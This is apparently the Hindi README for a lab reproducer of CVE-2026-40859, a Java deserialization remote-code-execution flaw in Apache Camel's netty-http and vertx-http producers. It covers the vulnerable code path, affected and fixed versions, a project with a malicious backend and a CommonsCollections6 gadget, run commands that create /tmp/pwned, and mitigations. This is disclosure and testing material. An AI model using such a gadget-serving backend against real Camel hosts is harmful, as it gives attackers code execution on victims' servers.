
CVE-2026-40859 के लिए रिप्रोड्यूसर — Apache Camel camel-netty-http / camel-vertx-http उत्पादक-पक्ष HTTP प्रतिक्रिया निकायों का असुरक्षित डिसीरियलाइज़ेशन (RCE)
यह प्रोजेक्ट Apache Camel के camel-netty-http और camel-vertx-http घटकों में जावा डिसीरियलाइज़ेशन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-40859 के रूप में ट्रैक किया गया है। जब एक प्रोड्यूसर एंडपॉइंट को transferException=true (या घटक-स्तरीय allowJavaSerializedObject=true) के साथ कॉन्फ़िगर किया जाता है, तो एक बैकएंड HTTP प्रतिक्रिया जिसमें विफलता स्थिति और Content-Type: application/x-java-serialized-object है, उसका बॉडी एक कच्चे java.io.ObjectInputStream द्वारा और बिना ObjectInputFilter के डिसीरियलाइज़ किया जाता है। एक हमलावर जो Camel प्रोड्यूसर के बैकएंड को नियंत्रित करता है — एक समझौता की गई सेवा, या सादे HTTP कनेक्शन पर मैन-इन-द-मिडल — एक क्राफ्टेड सीरियलाइज़्ड ऑब्जेक्ट लौटा सकता है और यदि क्लासपाथ पर गैजेट चेन है, तो Camel होस्ट पर प्राप्त कर सकता है।
| गुण | मान |
|---|---|
| घटक | camel-netty-http, camel-vertx-http (प्रोड्यूसर पक्ष) |
| प्रभावित वर्ग | org.apache.camel.component.netty.http.NettyHttpHelper#deserializeJavaObjectFromStream (और VertxHttpHelper#deserializeJavaObjectFromStream) |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभाव | रिमोट कोड निष्पादन (RCE) |
| पूर्व शर्त | transferException=true (या allowJavaSerializedObject=true) + throwExceptionOnFailure=true (डिफ़ॉल्ट) + हमलावर-नियंत्रित बैकएंड |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.20.0 से पहले |
| स्थिर संस्करण | 4.14.8, 4.18.3, 4.20.0 |
| JIRA | CAMEL-23324 |
| रिपोर्टर | Venkatraman Kumar (Securin) |
डिफ़ॉल्ट कॉन्फ़िगरेशन में शोषण योग्य नहीं —
transferExceptionडिफ़ॉल्ट रूप सेfalseहै। PoC इसे सक्षम करता है, जैसा कि एक एप्लिकेशन जो रिमोट-एक्सेप्शन प्रसार चाहता है, करेगा।
गैर-2xx प्रतिक्रिया पर, netty-http प्रोड्यूसर (throwExceptionOnFailure=true, डिफ़ॉल्ट) populateNettyHttpOperationFailedException के माध्यम से प्रतिक्रिया से एक अपवाद बनाता है। यदि transferException चालू है और प्रतिक्रिया में सीरियलाइज़्ड-ऑब्जेक्ट सामग्री प्रकार है, तो यह बॉडी को डिसीरियलाइज़ करता है:
// NettyHttpHelper.populateNettyHttpOperationFailedException(...) - affected version
if (transferException) {
String contentType = response.headers().get(NettyHttpConstants.CONTENT_TYPE);
if (NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT.equals(contentType)) { // application/x-java-serialized-object
InputStream is = exchange.getContext().getTypeConverter().convertTo(InputStream.class, response);
if (is != null) {
Object body = deserializeJavaObjectFromStream(is); // <-- sink
if (body instanceof Exception) {
return (Exception) body;
}
}
}
}
// NettyHttpHelper.deserializeJavaObjectFromStream(InputStream) - affected version
ObjectInputStream ois = new ObjectInputStream(is); // NO ObjectInputFilter
answer = ois.readObject(); // gadget fires here
गैजेट readObject() के अंदर, instanceof Exception जांच से पहले निष्पादित होता है — इसलिए पेलोड को अपवाद होने की भी आवश्यकता नहीं है। camel-vertx-http में VertxHttpHelper.deserializeJavaObjectFromStream में समान सिंक है।
from("direct:call")
.to("netty-http://backend-host:PORT/path?transferException=true");
// throwExceptionOnFailure defaults to true
कोई भी प्रोड्यूसर कॉल जिसका बैकएंड 5xx + application/x-java-serialized-object प्रतिक्रिया देता है, सिंक को ट्रिगर करता है।
पीड़ित Camel प्रोड्यूसर है (यह डिसीरियलाइज़ेशन करता है)। हमलावर उस बैकएंड को नियंत्रित करता है जिसे वह कॉल करता है। इस स्व-निहित PoC में दोनों भूमिकाएँ एक ही JVM/कंटेनर में चलती हैं: एक एम्बेडेड रॉ-सॉकेट HTTP सर्वर (MaliciousBackend) हमलावर-नियंत्रित बैकएंड की भूमिका निभाता है, और Camel रूट (VictimRoute) पीड़ित है।
CVE-2026-40859/
├── pom.xml # camel-netty-http 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (with --add-opens, needed only to build the gadget)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: netty-http producer, transferException=true
│ ├── MaliciousBackend.java # attacker backend: 500 + serialized-object body on :9999
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # /exploit/attack drives the producer call
└── resources/
└── application.properties
वास्तविक हमले में, सीरियलाइज़्ड बाइट्स हमलावर द्वारा ऑफ़लाइन उत्पन्न की जाती हैं (जैसे ysoserial के साथ); केवल पीड़ित को अपने क्लासपाथ पर गैजेट चेन की आवश्यकता होती है। यह PoC सुविधा के लिए गैजेट को इन-प्रोसेस बनाता है, यही कारण है कि JVM को
--add-opens java.base/java.util=ALL-UNNAMEDके साथ प्रारंभ किया जाता है — यह फ़्लैग गैजेट-निर्माण विवरण है, भेद्यता से असंबंधित।
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> producer threw ...NettyHttpOperationFailedException (expected)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40859 ls -la /tmp/pwned
docker compose down
कोई भी camel-netty-http / camel-vertx-http प्रोड्यूसर जो transferException=true (या allowJavaSerializedObject=true) के साथ कॉन्फ़िगर किया गया है और ऐसे बैकएंड से बात करता है जिसे हमलावर नियंत्रित या इंटरसेप्ट कर सकता है:
http://) प्रोड्यूसर कनेक्शन पर प्रतिक्रिया को प्रतिस्थापित करता है।transferException=true (या घटक allowJavaSerializedObject=true) के साथ।throwExceptionOnFailure=true (डिफ़ॉल्ट)।5xx + application/x-java-serialized-object लौटाता है।commons-collections:3.2.1)।4.14.8 / 4.18.3 / 4.20.0 पर अपग्रेड करें। सुधार दोनों हेल्पर्स को एक डिफ़ॉल्ट ObjectInputFilter अनुमति-सूची (java.**;javax.**;org.apache.camel.**;!*) के साथ प्रतिबंधित करता है, जो नए deserializationFilter एंडपॉइंट विकल्प या JVM-वाइड -Djdk.serialFilter सिस्टम प्रॉपर्टी के माध्यम से अनुकूलन योग्य है।
transferException=true / allowJavaSerializedObject=true सक्षम न करें।https) का उपयोग करें ताकि ट्रांज़िट में प्रतिक्रियाएँ प्रतिस्थापित न की जा सकें।-Djdk.serialFilter=java.**;org.apache.camel.**;!*।यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और निश्चित भेद्यता के लिए। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।